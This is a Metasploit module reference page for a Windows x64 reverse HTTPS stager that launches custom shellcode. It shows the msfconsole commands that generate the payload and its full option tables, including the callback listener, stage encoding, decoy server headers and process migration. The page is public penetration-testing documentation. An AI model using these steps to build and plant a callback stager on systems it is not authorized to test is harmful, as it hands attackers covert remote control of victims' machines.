Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet) - Metasploit


This page contains detailed information about how to use the payload/windows/x64/custom/reverse_https metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
Module: payload/windows/x64/custom/reverse_https
Source code: modules/payloads/stagers/windows/x64/reverse_https.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x64
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Custom shellcode stage. Tunnel communication over HTTP (Windows x64 wininet)

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


msf > use payload/windows/x64/custom/reverse_https
msf payload(reverse_https) > show options
    ... show and set options ...
msf payload(reverse_https) > generate

To learn how to generate payload/windows/x64/custom/reverse_https with msfvenom, please read this.

Required Options


  • LHOST: The local listener hostname

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Msfconsole Usage


Here is how the windows/x64/custom/reverse_https payload module looks in the msfconsole:

msf6 > use payload/windows/x64/custom/reverse_https

msf6 payload(windows/x64/custom/reverse_https) > show info

       Name: Windows shellcode stage, Windows x64 Reverse HTTP Stager (wininet)
     Module: payload/windows/x64/custom/reverse_https
   Platform: Windows
       Arch: x64
Needs Admin: No
 Total size: 623
       Rank: Normal

Provided by:
  bwatters-r7
  hdm <[email protected]>
  agix
  rwincey

Basic options:
Name            Current Setting  Required  Description
----            ---------------  --------  -----------
EXITFUNC        process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                            yes       The local listener hostname
LPORT           8443             yes       The local listener port
LURI                             no        The HTTP Path
SHELLCODE_FILE                   no        Shellcode bin to launch

Description:
  Custom shellcode stage. Tunnel communication over HTTP (Windows x64 
  wininet)

Module Options


This is a complete list of options available in the windows/x64/custom/reverse_https payload:

msf6 payload(windows/x64/custom/reverse_https) > show options

Module options (payload/windows/x64/custom/reverse_https):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   EXITFUNC        process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                            yes       The local listener hostname
   LPORT           8443             yes       The local listener port
   LURI                             no        The HTTP Path
   SHELLCODE_FILE                   no        Shellcode bin to launch

Advanced Options


Here is a complete list of advanced options supported by the windows/x64/custom/reverse_https payload:

msf6 payload(windows/x64/custom/reverse_https) > show advanced

Module advanced options (payload/windows/x64/custom/reverse_https):

   Name                        Current Setting                       Required  Description
   ----                        ---------------                       --------  -----------
   EnableStageEncoding         false                                 no        Encode the second stage payload
   HandlerSSLCert                                                    no        Path to a SSL certificate in unified PEM format
   HttpCookie                                                        no        An optional value to use for the Cookie HTTP header
   HttpHostHeader                                                    no        An optional value to use for the Host HTTP header
   HttpProxyHost                                                     no        An optional proxy server IP address or hostname
   HttpProxyPass                                                     no        An optional proxy server password Max parameter length: 63 charact
                                                                               ers
   HttpProxyPort                                                     no        An optional proxy server port
   HttpProxyType               HTTP                                  yes       The type of HTTP proxy (Accepted: HTTP, SOCKS)
   HttpProxyUser                                                     no        An optional proxy server username Max parameter length: 63 charact
                                                                               ers
   HttpReferer                                                       no        An optional value to use for the Referer HTTP header
   HttpServerName              Apache                                no        The server header that the handler will send in response to reques
                                                                               ts
   HttpUnknownRequestResponse  <html><body><h1>It works!</h1></body  no        The returned HTML response body when the handler receives a reques
                               ></html>                                        t that is not from a payload
   HttpUserAgent               Mozilla/5.0 (Windows NT 10.0; Win64;  no        The user-agent that the payload should use for communication Max p
                                x64) AppleWebKit/537.36 (KHTML, lik            arameter length: 255 characters
                               e Gecko) Chrome/98.0.4758.81 Safari/
                               537.36
   IgnoreUnknownPayloads       false                                 no        Whether to drop connections from payloads using unknown UUIDs
   OverrideLHOST                                                     no        When OverrideRequestHost is set, use this value as the host name f
                                                                               or secondary requests
   OverrideLPORT                                                     no        When OverrideRequestHost is set, use this value as the port number
                                                                                for secondary requests
   OverrideRequestHost         false                                 no        Forces a specific host and port instead of using what the client r
                                                                               equests, defaults to LHOST:LPORT
   OverrideScheme                                                    no        When OverrideRequestHost is set, use this value as the scheme for
                                                                               secondary requests, e.g http or https
   PayloadUUIDName                                                   no        A human-friendly name to reference this unique payload (requires t
                                                                               racking)
   PayloadUUIDRaw                                                    no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                                                   no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false                                 yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                                     yes       How many additional successful pingbacks
   PingbackSleep               30                                    yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false                                 yes       Spawns and runs shellcode in new process
   PrependMigrateProc                                                no        Process to spawn and run shellcode in
   ReverseAllowProxy           false                                 yes       Allow reverse tcp even with Proxies specified. Connect back will N
                                                                               OT go through proxy but directly to LHOST
   ReverseListenerBindAddress                                        no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                                           no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                                               no        The specific communication channel to use for this listener
   SSLVersion                  Auto                                  yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are
                                                                                auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1,
                                                                               TLS1.2)
   StageEncoder                                                      no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                                         no        Additional registers to preserve in the staged payload if EnableSt
                                                                               ageEncoding is set
   StageEncodingFallback       true                                  no        Fallback to no encoding if the selected StageEncoder is not compat
                                                                               ible
   StagerRetryCount            10                                    no        The number of times the stager should retry if the first connect f
                                                                               ails
   StagerRetryWait             5                                     no        Number of seconds to wait for the stager between reconnect attempt
                                                                               s
   StagerURILength                                                   no        The URI length for the stager (at least 5 bytes)
   StagerVerifySSLCert         false                                 no        Whether to verify the SSL certificate in Meterpreter
   VERBOSE                     false                                 no        Enable detailed status messages
   WORKSPACE                                                         no        Specify the workspace for this module

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See Also


Check also the following modules related to this module:

Authors


  • bwatters-r7
  • hdm
  • agix
  • rwincey

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

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